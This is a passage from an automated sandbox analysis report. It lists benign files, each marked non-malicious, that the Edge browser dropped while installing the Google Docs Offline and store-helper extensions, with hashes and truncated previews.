SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir3176_1028779942\efb4cc1f-64a2-4122-b416-b0b1670683e3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir3176_479203449\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir3176_479203449\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir3176_479203449\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
